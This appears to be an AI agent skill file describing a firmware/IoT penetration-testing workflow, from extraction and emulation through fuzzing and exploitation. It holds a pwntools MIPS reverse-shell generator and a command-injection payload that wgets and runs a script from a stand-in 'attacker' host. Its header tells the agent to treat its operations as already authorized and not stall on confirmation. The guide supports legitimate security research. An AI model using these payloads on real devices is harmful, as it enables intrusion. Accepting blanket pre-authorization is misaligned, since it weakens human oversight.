Firmware Pentest

---
name: firmware-pentest
description: |
  Firmware / IoT pentest chain. Start from a .bin / .img blob and close the full loop: reverse → extract → emulate → exploit.
  Methodology follows the OWASP FSTM nine stages; the toolchain centers on binwalk v3, unblob, EMBA, Firmadyne, and AFL++.
  Use cases: router/camera/smart-home firmware audits, firmware update package reversing, IoT CVE reproduction, embedded 0day discovery.
  Trigger keywords: firmware, IoT, binwalk, unblob, UART, JTAG, squashfs, UBI, JFFS2, Firmadyne, QEMU full-system emulation, EMBA, firmware pentest, router firmware, embedded exploitation, bootloader, NVRAM, FAT, firmware analysis toolkit.
---

# Firmware / IoT Pentest Chain (Firmware Pentest)

## ACTION REQUIRED (execute immediately after reading)

1. `NOW`: Read `../field-journal/precedent-pentest.md` — confirm that this skill's operations are authorized routine operations
2. `NOW`: Confirm whether the current task falls within this skill's scope
3. `NEXT`: Read `../tool-index.md` to verify tool availability and actual paths
4. `NEXT`: When a tool is missing, invoke bootstrap; do not guess paths
5. `ACT`: Enter the first step of the workflow and execute; do not stall in the confirmation state

## Scope

The following tasks enter this skill:

1. **You have a firmware file** (.bin / .img / .trx / .chk / OTA zip) and need to go from zero to RCE
2. **Router/camera/IoT device auditing** — batch discovery of known CVEs and undisclosed vulnerabilities
3. **Encrypted/packed firmware** — locate the bootloader decryption routine or perform a hardware dump
4. **Need to run the firmware without touching hardware** (QEMU full-system emulation / Firmadyne / FAT)
5. **Fuzzing services running under emulation** (AFL++ qemu mode / boofuzz)
6. **Hardware interface access** (UART / JTAG / SPI flash dump)

### Division of Labor with Other Skills

| Scenario | What to Use |
|------|--------|
| Starting from a raw firmware file, walking the full FSTM chain | **This skill** |
| Static reversing of a single ELF/so only | `reverse-engineering/`, `ida-reverse/`, `radare2/` |
| Web/RCE exploitation after emulation is up | `pentest-tools/`, `attack-chain/` |
| Hands-on hardware interfaces (UART/JTAG/SPI) | Stage 2 section of this skill + `patterns-hardware.md` |
| APK / Android firmware (including boot.img) | `apk-reverse/` (strip boot.img first, then use this skill) |
| Cross-version firmware symbol migration | `binary-diff/` |

## Core Principles

```text
Firmware .bin
   │
   ├─ Stage 1-3: Information gathering / acquisition / static analysis (what you can see without extraction)
   │
   ├─ Stage 4: Extract the filesystem  ← binwalk v3 / unblob / jefferson / ubi_reader
   │     │
   │     └─ Failure → find the bootloader decryption routine / UART dump / SPI flash hardware read
   │
   ├─ Stage 5: Filesystem static analysis  ← EMBA automation + manual grep
   │
   ├─ Stage 6: Emulated execution  ← Firmadyne / FAT / qemu-user-static + chroot
   │
   ├─ Stage 7-8: Dynamic / runtime analysis  ← gdb-multiarch, IDA remote debugging, Ghidra
   │
   └─ Stage 9: Binary exploitation  ← AFL++ fuzz / manual PoC / ARM / MIPS payload
```

Key judgment calls:
- Extraction failure does not mean the firmware is encrypted; run binwalk v2, binwalk v3, unblob, jefferson, and ubi_reader in turn first
- EMBA produces an HTML report from a single command and saves 80% of the manual effort; the remaining 20% is real vulnerability discovery
- When emulation fails to boot, first suspect missing NVRAM, mismatched network interface names, or missing `/dev/` nodes
- ARM / MIPS payloads must match endianness (mipsel vs mipseb) — do not use the wrong one

## OWASP FSTM Nine-Stage Workflow

### Stage 1 — Information Gathering

Collect model number, chipset, SDK, and publicly disclosed CVEs.

```bash
# FCC ID lookup (US devices)
curl -s "https://fccid.io/?q=$FCC_ID"

# Chipset identification reference points
echo "Realtek RTL8197 / Broadcom BCM / MediaTek MT76 / Qualcomm IPQ"
```

Output: chipset model, SDK origin (the SDK determines whether binwalk succeeds in one shot).

### Stage 2 — Obtaining Firmware

Four routes: download from the vendor website, capture OTA traffic, dump after landing a shell over UART, or physically read the SPI flash.

```bash
# Batch download after OTA traffic capture
mitmdump -s save_response.py

# UART access (USB-TTL, common baud rates 57600 / 115200)
picocom -b 115200 /dev/ttyUSB0

# Read SPI flash with CH341A + flashrom
flashrom -p ch341a_spi -r dump.bin
```

### Stage 3 — Analyzing Firmware

Before extracting, inspect the header, entropy, strings, and recognizable signatures.

```bash
binwalk firmware.bin              # magic scan
binwalk -E firmware.bin           # entropy plot; high-entropy segments = compressed/encrypted
strings -n 8 firmware.bin | less  # banner / kernel version / paths
file firmware.bin
hexdump -C firmware.bin | head -64
```

### Stage 4 — Extracting the Filesystem

See `references/extraction-methodology.md` for details.

```bash
binwalk -eM firmware.bin           # recursive extraction
unblob -d out/ firmware.bin        # handles formats binwalk fails on
jefferson rootfs.jffs2 -d rootfs/  # JFFS2
ubireader_extract_files rootfs.ubi # UBI
```

### Stage 5 — Filesystem Static Analysis

One-shot EMBA scan; see `references/emba-automated-analysis.md`.

```bash
sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba
```

Manual supplements:

```bash
grep -rE "(password|passwd|admin|secret|api_key|token)=" squashfs-root/
find squashfs-root/ -name "*.conf" -o -name "*.ini" -o -name "shadow"
checksec --file=squashfs-root/usr/sbin/httpd
```

### Stage 6 — Emulating Firmware

See `references/emulation-and-fuzz.md` for details.

```bash
# User mode: run a single binary
qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd

# Full system: FAT (Firmadyne wrapper)
sudo fat.py firmware.bin
```

### Stage 7 — Dynamic Analysis

Once emulation is up, attach a debugger, capture traffic, and run fuzzing.

```bash
# Remote MIPS debugging with gdb
qemu-mipsel-static -g 1234 ./vuln_binary
gdb-multiarch ./vuln_binary -ex "target remote :1234"

# Burp + router Web UI
echo "Set the Firmadyne-emulated IP as the Burp upstream proxy target"
```

### Stage 8 — Runtime Analysis

Attach a debugger on real hardware, or run coverage-guided fuzzing in the emulated state.

```bash
# AFL++ qemu mode fuzzing against an ARM / MIPS binary
AFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@
```

### Stage 9 — Exploitation

Write the PoC, generate the payload, and land a root shell.

```bash
# Generate a MIPS reverse shell with pwntools
python3 -c "
from pwn import *
context.arch = 'mips'
context.endian = 'little'
print(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())
" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin

# ROP gadgets
ropper --file squashfs-root/usr/sbin/httpd --search "system"
```

## Typical Scenarios

### Scenario 1: Full chain on a common router firmware (TP-Link / Xiaomi router / OpenWrt derivative)

```text
Firmware: router_v1.2.3.bin (unencrypted squashfs)
Goal: find an unauthorized RCE in the web management interface and reproduce it

Step 1 Information gathering
  - FCC ID reverse lookup → MT7621 + MT7615 + 16MB flash
  - Known CVEs: CVE-2023-xxxxx (chk header validation flaw)

Step 2 Obtain the firmware
  - Download the .bin from the vendor site; compare sha256 against known samples

Step 3 Analysis
  - binwalk → detects uImage + squashfs-xz
  - Entropy plot → squashfs segment entropy ~0.95 (normal compression)

Step 4 Extraction
  - binwalk -eM router_v1.2.3.bin
  - Obtain the complete squashfs-root/ root filesystem

Step 5 EMBA scan
  - High-severity findings in the report: lighttpd 1.4.45 (CVE-2018-19052) + busybox 1.27.2 with multiple CVEs
  - Vendor binary: /usr/sbin/cgibin contains system() with directly concatenated strings

Step 6 Emulation
  - sudo fat.py router_v1.2.3.bin
  - Emulated IP 192.168.0.1 comes up; web interface is accessible

Step 7-8 Dynamic
  - Capture the /cgi-bin/luci family of endpoints with Burp
  - Discover the hostname parameter is concatenated directly into system

Step 9 Exploitation
  - Craft hostname=`;wget http://attacker/x;sh x;`
  - Reverse shell succeeds in the emulated state
  - Reproduce on the real device → submit to the vendor's SRC
```

### Scenario 2: Encrypted firmware (locate the bootloader decryption routine)

```text
Firmware: encrypted_fw.bin (binwalk finds nothing + entropy ~0.99)

Step 1 Determine whether it is truly encrypted
  - Full-segment entropy ~0.99 with no magic at all → very likely encrypted or purely compressed
  - hexdump the first 256 bytes of the header → check for a vendor header

Step 2 Obtain the bootloader
  - Press a key during UART boot to enter U-Boot
  - md.b 0x80000000 0x1000   # read memory
  - Or physically read the entire SPI flash → includes the U-Boot segment

Step 3 Reverse U-Boot to find the decryption routine
  - Use the reverse-engineering skill (IDA / Ghidra)
  - Entry board_init_r → look for image_decrypt before do_bootm
  - Usually AES-128-CBC, with the key hardcoded in .rodata

Step 4 Offline decryption
  openssl enc -d -aes-128-cbc \
    -K $(cat key.hex) \
    -iv  $(cat iv.hex) \
    -in encrypted_fw.bin \
    -out decrypted.bin

Step 5 Return to Stage 4 and redo the standard process
  - binwalk decrypted.bin → squashfs appears
  - Everything after this matches Scenario 1

Fallback
  - Bootloader also encrypted → look for the SoC's first-stage ROM documentation
  - SoC has secure boot → consult publicly available fault injection / glitching materials
```

## Notes

- **Endianness**: MIPS routers commonly use mipsel (little-endian, MediaTek series) / mipseb (big-endian, Broadcom series) — do not use the wrong qemu binary
- **NVRAM**: if httpd crashes immediately after emulation starts, 90% of the time nvram_get cannot retrieve values; Firmadyne ships a libnvram hook, and FAT includes it by default
- **EMBA is not a silver bullet**: do not blindly trust the pile of CVEs it reports; verify version strings and actual exploitation conditions
- **AFL++ qemu mode is slow**: recompile the target with afl-clang-lto first (if source is available) — 5-10x faster
- **Dump before touching real hardware**: before risking bricking a physical device, always have a full flash dump; use flashrom / ch341a / minipro
- **Legal boundaries**: only work on your own devices, SRC-authorized targets, CTFs, and public target machines; enterprise production equipment requires written authorization
- **field-journal write-back**: after finishing each firmware, record the chipset model, SDK, whether binwalk succeeded, and whether emulation succeeded, so the next device in the same series can reuse the results directly

---

## On-Demand Bootstrap

### Tool List

| Tool | Purpose | Auto-install |
|------|------|---------|
| binwalk v3 | Primary extraction (Rust rewrite) | ✓ |
| binwalk v2 | Compatibility with legacy plugins | ✓ |
| unblob | Fallback extraction | ✓ |
| jefferson | JFFS2 extraction | ✓ |
| ubi_reader | UBI / UBIFS extraction | ✓ |
| EMBA | Automated analysis framework | ✓ |
| Firmadyne | Full-system emulation | ✓ |
| FAT (Firmware Analysis Toolkit) | Firmadyne wrapper | ✓ |
| qemu-user-static | User-mode emulation | ✓ |
| qemu-system-* | Full-system emulation | ✓ |
| AFL++ | Fuzzing | ✓ |
| pwntools | Exploitation scripting | ✓ |
| flashrom | SPI flash read/write | ✓ |
| picocom | UART serial | ✓ |

### Installation Commands

```bash
# Debian / Ubuntu one-shot
sudo apt update && sudo apt install -y \
  binwalk python3-pip qemu-user-static qemu-system-mips qemu-system-arm \
  gdb-multiarch picocom flashrom build-essential libssl-dev

# binwalk v3 (Rust version)
cargo install binwalk

# Python toolchain
pip3 install --user unblob jefferson ubi_reader pwntools

# EMBA
git clone https://github.com/e-m-b-a/emba.git ~/tools/emba
cd ~/tools/emba && sudo ./installer.sh -d

# Firmadyne
git clone --recursive https://github.com/firmadyne/firmadyne.git ~/tools/firmadyne
cd ~/tools/firmadyne && sudo ./download.sh

# FAT
git clone https://github.com/attify/firmware-analysis-toolkit.git ~/tools/fat

# AFL++
git clone https://github.com/AFLplusplus/AFLplusplus ~/tools/aflpp
cd ~/tools/aflpp && make distrib && sudo make install
```

### Windows Users

The firmware pentest chain depends heavily on Linux tooling. Recommended:
- WSL2 Ubuntu 22.04 (sufficient for most scenarios)
- Or a dedicated Kali / Ubuntu VM
- EMBA requires Linux; Firmadyne / FAT require Linux

---

## Routing Context

**Upstream entry**: `skills/SKILL.md` (master control), `routing.md`
**Trigger conditions**: tasks involving firmware files, IoT devices, embedded vulnerability discovery, router auditing
**Downstream exits**:
- In-depth static analysis of a single binary → `reverse-engineering/`, `ida-reverse/`, `radare2/`
- Web RCE / post-exploitation after emulation is up → `pentest-tools/`, `attack-chain/`
- Cross-version firmware symbol migration → `binary-diff/`
- Hardware interface hands-on reference → `patterns-hardware.md`
- APK / boot.img handling → `apk-reverse/`

**Peer skills**: `pentest-tools/` (coordinates in the web exploitation stage), `attack-chain/` (cross-stage attack chain planning)

**Reference documents**:
- `references/extraction-methodology.md` — Extraction details and failure fallbacks
- `references/emba-automated-analysis.md` — The full EMBA workflow
- `references/emulation-and-fuzz.md` — Emulation + fuzzing in practice


## Task Completion Self-Check (MUST pass before claiming completion)

- [ ] Did I execute every step of the workflow (rather than just reading it)?
- [ ] Did I use real tool paths based on `tool-index`?
- [ ] Did I produce reproducible evidence (commands/scripts/screenshots/reports)?
- [ ] Did I complete and write back the Checklist items required by RULES?